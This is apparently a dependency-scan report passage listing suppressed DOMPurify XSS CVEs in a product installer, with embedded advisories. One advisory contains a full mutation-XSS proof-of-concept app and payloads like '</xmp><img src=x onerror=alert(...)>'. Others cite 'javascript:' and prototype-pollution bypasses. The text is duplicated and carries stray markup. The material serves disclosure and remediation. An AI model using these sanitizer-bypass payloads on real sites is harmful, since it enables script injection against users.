- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSX:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

#### CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

#### References:

- help@fluidattacks.com - <https://fluidattacks.com/advisories/daft>
- help@fluidattacks.com - <https://github.com/cure53/DOMPurify/commit/302b51de22535cc90235472c52e3401bedd46f80>
- help@fluidattacks.com - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- help@fluidattacks.com - [PRODUCT](#)
- help@fluidattacks.com - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/commit/fca0a938b4261ddc9c0293a289935a9029c049f5>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml>

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:\*:\*:\*:\*:\* versions from (including) 2.5.3; versions up to (including) 2.5.8
- cpe:2.3:a:cure53:dompurify:\*:\*:\*:\*:\* versions from (including) 3.1.3; versions up to (including) 3.3.1

[CVE-2025-15599](#) suppressed

DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE\_FOR\_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

#### CVSSv4:

- MEDIUM (5.1)
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

#### CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

#### References:

- disclosure@vulncheck.com - [PATCH](#)
- disclosure@vulncheck.com - [PRODUCT](#)
- disclosure@vulncheck.com - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml>

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:\*:\*:\*:\*:\* versions from (including) 2.5.3; versions up to (including) 2.5.8
- cpe:2.3:a:cure53:dompurify:\*:\*:\*:\*:\* versions from (including) 3.1.3; versions up to (excluding) 3.2.7



## Description A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC). ## Vulnerability The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `

```
sanitizedNode = document.getElementById('sanitized'); const sink = document.
getElementById('sink'); run.addEventListener('click', async () => { const response = await
fetch('/sanitize', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body:
JSON.stringify({ input: payload.value }) }); const data = await response.json(); const
sanitized = data.sanitized || ''; const w = wrapper.value; sanitizedNode.textContent =
sanitized; sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>'; }); </script> </body> <
/html> ``` - server.js ```js const express = require('express'); const path = require('path');
const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); const
app = express(); const port = process.env.PORT || 3001; const window = new JSDOM('').
window; const DOMPurify = createDOMPurify(window); app.use(express.json()); app.use
(express.static(path.join(__dirname, 'public'))); app.get('/health', (_req, res) => { res.json({
ok: true, service: 'expoc' }); }); app.post('/sanitize', (req, res) => { const input = typeof req.
body?.input === 'string' ? req.body.input : ''; const sanitized = DOMPurify.sanitize(input);
res.json({ sanitized }); }); app.listen(port, () => { console.log('expoc running at
http://localhost:${port}'); }); ``` - package.json ```json { "name": "expoc", "version":
"1.0.0", "main": "server.js", "scripts": { "test": "echo \"Error: no test specified\" && exit
1", "start": "node server.js", "dev": "node server.js" }, "keywords": [], "author": "",
"license": "ISC", "description": "", "dependencies": { "dompurify": "^3.3.1", "express":
"^5.2.1", "jsdom": "^28.1.0" } } ``` ## Evidence - PoC [daft-video.webm](https://github.com
/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90) - XSS triggered  ## Why This Happens This is a
mutation-XSS pattern caused by a parse-context mismatch: - Parse 1 (sanitization
phase): input is interpreted under normal HTML parsing rules. - Parse 2 (sink phase):
sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text
behavior). - Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2
and alters DOM structure. Sanitization is not a universal guarantee across all future
parsing contexts. The sink design reintroduces risk. ## Remediation Guidance 1. Do not
concatenate sanitized strings into new HTML wrappers followed by `innerHTML`. 2. Keep
the rendering context stable from sanitize to sink. 3. Prefer DOM-safe APIs (`textContent`,
`createElement`, `setAttribute`) over string-based HTML composition. 4. If HTML insertion
is required, sanitize as close as possible to final insertion context and avoid wrapper
constructs with raw-text semantics (`xmp`, `script`, etc.). 5. Add regression tests for
context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout
markers). Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera
and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-
Contextualization in DomPurify 3.3.1. Following Fluid Attacks [Disclosure Policy]
(https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability
and the conditions outlined in the policy are met, this advisory will be published on the
website over the next few days (the timeline may vary depending on maintainers'
willingness to attend to and respond to this report) at the following URL:
https://fluidattacks.com/advisories/daft Acknowledgements: [Camilo Vera](https://github.
com/caverav/) and [Cristian Vargas](https://github.com/tachote). (RETIREJS) suppressed
```

## ## Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).

## ## Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, ` ... &amp;amp;amp;amp;lt;/xmp&amp;amp;amp;amp;gt;` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `&amp;amp;amp;amp;lt;/xmp&amp;amp;amp;amp;gt;` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`&amp;amp;amp;amp;lt;img ... onerror=...&amp;amp;amp;amp;gt;`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).&amp;amp;amp;lt;/p&amp;amp;amp;gt;
&amp;amp;amp;lt;/div&amp;amp;amp;gt;
&amp;amp;amp;lt;div data-bbox="117 913 180 928" data-label="Section-Header"&amp;amp;amp;gt;
&amp;amp;amp;lt;h2&amp;amp;amp;gt;## PoC&amp;amp;amp;lt;/h2&amp;amp;amp;gt;
&amp;amp;amp;lt;/div&amp;amp;amp;gt;

1. Start the PoC app:

```
```bash
npm install
npm start
```
```

2. Open `http://localhost:3001`.

3. Set `Wrapper en sink` to `xmp`.

4. Use payload:

```
```html
<img src=x alt="</xmp><img src=x onerror=alert('expoc')">">
```
```

5. Click `Sanitize + Render`.

6. Observe:

- `Sanitized response` still contains the `</xmp>` sequence inside `alt`.
- The sink reparses to include ``.
- `alert('expoc')` is triggered.

7. Files:

- index.html

```
```html
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>expoc - DOMPurify SSR PoC</title>
  <style>
    :root {
      --bg: #f7f8fb;
      --panel: #ffffff;
      --line: #d8dce6;
      --text: #0f172a;
      --muted: #475569;
      --accent: #0ea5e9;
    }

    * {
      box-sizing: border-box;
    }

    body {
      margin: 0;
      font-family: "SF Mono", Menlo, Consolas, monospace;
      color: var(--text);
      background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
    }

    main {
      max-width: 980px;
      margin: 28px auto;
      padding: 0 16px 20px;
    }

    h1 {
      margin: 0 0 10px;
      font-size: 1.45rem;
    }

    p {
      margin: 0;
      color: var(--muted);
    }

    .grid {
      display: grid;
      gap: 14px;
    }
  </style>
</head>
<body>
  <main>
    <h1>expoc</h1>
    <p>expoc - DOMPurify SSR PoC</p>
  </main>
</body>
</html>
```
```

```
    margin-top: 16px;
}

.card {
    background: var(--panel);
    border: 1px solid var(--line);
    border-radius: 12px;
    padding: 14px;
}

label {
    display: block;
    margin-bottom: 7px;
    font-size: 0.85rem;
    color: var(--muted);
}

textarea,
input,
select,
button {
    width: 100%;
    border: 1px solid var(--line);
    border-radius: 8px;
    padding: 9px 10px;
    font: inherit;
    background: #fff;
}

textarea {
    min-height: 110px;
    resize: vertical;
}

.row {
    display: grid;
    grid-template-columns: 1fr 230px;
    gap: 12px;
}

button {
    cursor: pointer;
    background: var(--accent);
    color: #fff;
    border-color: #0284c7;
}

#sink {
    min-height: 90px;
    border: 1px dashed #94a3b8;
    border-radius: 8px;
    padding: 10px;
    background: #f8fafc;
}

pre {
    margin: 0;
    white-space: pre-wrap;
    word-break: break-word;
}

.note {
    margin-top: 8px;
    font-size: 0.85rem;
}

.status-grid {
    display: grid;
```

```

    grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
    gap: 8px;
    margin-top: 10px;
}

.status-item {
    border: 1px solid var(--line);
    border-radius: 8px;
    padding: 8px 10px;
    font-size: 0.85rem;
    background: #fff;
}

.status-item.vuln {
    border-color: #ef4444;
    background: #fef2f2;
}

.status-item.safe {
    border-color: #22c55e;
    background: #f0fdf4;
}

@media (max-width: 760px) {
    .row {
        grid-template-columns: 1fr;
    }
}
</style>
</head>
<body>
<main>
<h1>expoc - DOMPurify Server-Side PoC</h1>
<p>
    Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con
    innerHTML.
</p>

<div class="grid">
    <section class="card">
        <label for="payload">Payload</label>
        <textarea id="payload"><img src=x alt=""</script><img src=x onerror=alert('expoc')></>
    /textarea>
    <div class="row" style="margin-top: 10px;">
        <div>
            <label for="wrapper">Wrapper en sink</label>
            <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
            </select>
        </div>
        <div style="display:flex;align-items:end;">
            <button id="run" type="button">Sanitize + Render</button>
        </div>
    </div>
    <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;'+
    sanitized + '&lt;/wrapper&gt;';</code>.</p>
    <div class="status-grid">
        <div class="status-item vuln">script (vulnerable)</div>
        <div class="status-item vuln">xmp (vulnerable)</div>
    </div>

```

```

    <div class="status-item vuln">iframe (vulnerable)</div>
    <div class="status-item vuln">noembed (vulnerable)</div>
    <div class="status-item vuln">noframes (vulnerable)</div>
    <div class="status-item vuln">noscript (vulnerable)</div>
    <div class="status-item safe">div (no vulnerable)</div>
    <div class="status-item safe">textarea (no vulnerable)</div>
    <div class="status-item safe">title (no vulnerable)</div>
    <div class="status-item safe">style (no vulnerable)</div>
  </div>
</section>

<section class="card">
  <label>Sanitized response</label>
  <pre id="sanitized">(empty)</pre>
</section>

<section class="card">
  <label>Sink</label>
  <div id="sink"></div>
</section>
</div>
</main>

<script>
const payload = document.getElementById('payload');
const wrapper = document.getElementById('wrapper');
const run = document.getElementById('run');
const sanitizedNode = document.getElementById('sanitized');
const sink = document.getElementById('sink');

run.addEventListener('click', async () => {
  const response = await fetch('/sanitize', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ input: payload.value })
  });

  const data = await response.json();
  const sanitized = data.sanitized || '';
  const w = wrapper.value;

  sanitizedNode.textContent = sanitized;
  sink.innerHTML = '<' + w + '>' + sanitized + '<' + w + '>';
});
</script>
</body>
</html>
`

```

- server.js

```

`js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

```



```

});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : "";
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});
...

```

- package.json

```

...json
{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}
...

```

## ## Evidence

- PoC

[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)

- XSS triggered

```

```

## ## Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).
- Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

## ## Remediation Guidance

1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.
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5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`,

similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: <https://fluidattacks.com/advisories/daft>

Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-h8r8-wccr-v5f2
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2>

Vulnerable Software & Versions (RETIREJS):

**## Summary** DOMPurify allows `ADD\_ATTR` to be provided as a predicate function via `EXTRA\_ELEMENT\_HANDLING.attributeCheck`. When the predicate returns `true`, `\_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `[## Impact Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS. \*\*## Credits\*\* Identified by Cantina's Apex \(<https://www.cantina.security>\). \(RETIREJS\) suppressed](javascript:alert(document.domain))

**## Summary**

DOMPurify allows `ADD\_ATTR` to be provided as a predicate function via `EXTRA\_ELEMENT\_HANDLING.attributeCheck`. When the predicate returns `true`, `\_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `

**## Impact**

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

**## Credits**

Identified by Cantina's Apex (<https://www.cantina.security>).

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-cjmm-f4jc-qw8r

- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r>

Vulnerable Software & Versions (RETIREJS):

**## Summary** In `src/purify.ts:1117-1123`, `ADD\_TAGS` as a function (via `EXTRA\_ELEMENT\_HANDLING.tagCheck`) bypasses `FORBID\_TAGS` due to short-circuit evaluation. The condition: ``!(tagCheck(tagName)) && (!ALLOWED\_TAGS[tagName] || FORBID\_TAGS[tagName])`` When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID\_TAGS[tagName]` is never evaluated. **## Inconsistency** This contradicts the attribute-side pattern at line 1214 where `FORBID\_ATTR` explicitly wins first: ``if (FORBID\_ATTR[lcName]) { continue; }`` For tags, `FORBID` should also take precedence over `ADD`. **## Impact** Applications using both `ADD\_TAGS` as a function and `FORBID\_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency. **## Suggested Fix** Check `FORBID\_TAGS` before `tagCheck`: ``if (FORBID\_TAGS[tagName]) { /\* remove \*/ } else if (tagCheck(tagName) || ALLOWED\_TAGS[tagName]) { /\* keep \*/ }`` **## Affected Version** v3.3.3 (commit 883ac15) (RETIREJS)

suppressed

**## Summary**

In `src/purify.ts:1117-1123`, `ADD\_TAGS` as a function (via `EXTRA\_ELEMENT\_HANDLING.tagCheck`) bypasses `FORBID\_TAGS` due to short-circuit evaluation.

The condition:

```
...
!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])
...
```

When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID\_TAGS[tagName]` is never evaluated.

**## Inconsistency**

This contradicts the attribute-side pattern at line 1214 where `FORBID\_ATTR` explicitly wins first:

```
...
if (FORBID_ATTR[lcName]) { continue; }
...
```

For tags, `FORBID` should also take precedence over `ADD`.

**## Impact**

Applications using both `ADD\_TAGS` as a function and `FORBID\_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

**## Suggested Fix**

Check `FORBID\_TAGS` before `tagCheck`:

```
...
if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }
...
```

**## Affected Version**

v3.3.3 (commit 883ac15)

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-39q2-94rc-95cp
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp>

Vulnerable Software & Versions (RETIREJS):

**## Summary** When ``USE_PROFILES`` is enabled, DOMPurify rebuilds ``ALLOWED_ATTR`` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via ``ALLOWED_ATTR[lcName]``, any ``Array.prototype`` property that is polluted also counts as an allowlisted attribute. An attacker who can set ``Array.prototype.onclick = true`` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as ``onclick`` even when they are normally forbidden. The provided PoC sanitizes `<img onclick=...>` with ``USE_PROFILES`` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector. **## Impact** Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered. **## Credits** Identified by Cantina's Apex (<https://www.cantina.security>). (RETIREJS) suppressed

#### ## Summary

When ``USE_PROFILES`` is enabled, DOMPurify rebuilds ``ALLOWED_ATTR`` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via ``ALLOWED_ATTR[lcName]``, any ``Array.prototype`` property that is polluted also counts as an allowlisted attribute. An attacker who can set ``Array.prototype.onclick = true`` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as ``onclick`` even when they are normally forbidden. The provided PoC sanitizes `<img onclick=...>` with ``USE_PROFILES`` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

#### ## Impact

Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

#### ## Credits

Identified by Cantina's Apex (<https://www.cantina.security>).

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-cj63-jhhr-wcxv
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-cj63-jhhr-wcxv>

Vulnerable Software & Versions (RETIREJS):

**CVE-2026-41238** (RETIREJS) suppressed

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp>

Vulnerable Software & Versions (RETIREJS):

**CVE-2026-41239** (RETIREJS) suppressed

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8>

Vulnerable Software & Versions (RETIREJS):

## remotegui.zip: hugerte.jar: theme.js

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller/build/tmp/dependencies/i-net CoWork/plugins/remotegui.zip/hugerte.jar/META-INF/resources/webjars/hugerte/1.0.10/themes/silver/theme.js

**MD5:** 44cb08e002fca06cb52f0a998a34b913

**SHA1:** 55458cdd3c063b96d82693d141f535f61e280341

**SHA256:** b21ab51f48963e96600868f198137d44fac2d2f4a932d90104ffb11ab80b5544

**Referenced In Project/Scope:** CoWorkInstaller

### Evidence



### Suppressed Identifiers

- None

### Suppressed Vulnerabilities



[CVE-2026-41240](#) suppressed

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID\_TAGS and FORBID\_ATTR handling when function-based ADD\_TAGS is used. Commit c361baa added an early exit for FORBID\_ATTR at line 1214. The same fix was not applied to FORBID\_TAGS. At line 1118-1123, when EXTRA\_ELEMENT\_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID\_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'),  
CWE-183 Permissive List of Allowed Inputs

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

CVSSv4:

- MEDIUM (6.0)
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- 134c704f-9b21-4f2e-91b3-4a467353bcc0 - [EXPLOIT, MITIGATION, PATCH, VENDOR ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m>
- security-advisories@github.com - [EXPLOIT, MITIGATION, PATCH, VENDOR ADVISORY](#)
- security-advisories@github.com - [PATCH](#)
- security-advisories@github.com - [PRODUCT, RELEASE NOTES](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:\*:\*:\*:\*:\* versions up to (excluding) 3.4.0

[CVE-2026-0540](#) suppressed

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE\_FOR\_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

CVSSv4:

- MEDIUM (5.3)
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSX:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- help@fluidattacks.com - <https://fluidattacks.com/advisories/daft>
- help@fluidattacks.com - <https://github.com/cure53/DOMPurify/commit/302b51de22535cc90235472c52e3401bedd46f80>
- help@fluidattacks.com - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- help@fluidattacks.com - [PRODUCT](#)
- help@fluidattacks.com - [THIRD PARTY ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/commit/fca0a938b4261ddc9c0293a289935a9029c049f5>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:\*:\*:\*:\*:\* versions from (including) 2.5.3; versions up to (including) 2.5.8
- cpe:2.3:a:cure53:dompurify:\*:\*:\*:\*:\* versions from (including) 3.1.3; versions up to (including) 3.3.1

[CVE-2025-15599](#) suppressed

DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE\_FOR\_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')



Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

#### CVSSv4:

- MEDIUM (5.1)
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

#### CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

#### References:

- disclosure@vulncheck.com - [PATCH](#)
- disclosure@vulncheck.com - [PRODUCT](#)
- disclosure@vulncheck.com - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml>

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:\*:\*:\*:\*:\* versions from (including) 2.5.3; versions up to (including) 2.5.8
- cpe:2.3:a:cure53:dompurify:\*:\*:\*:\*:\* versions from (including) 3.1.3; versions up to (excluding) 3.2.7

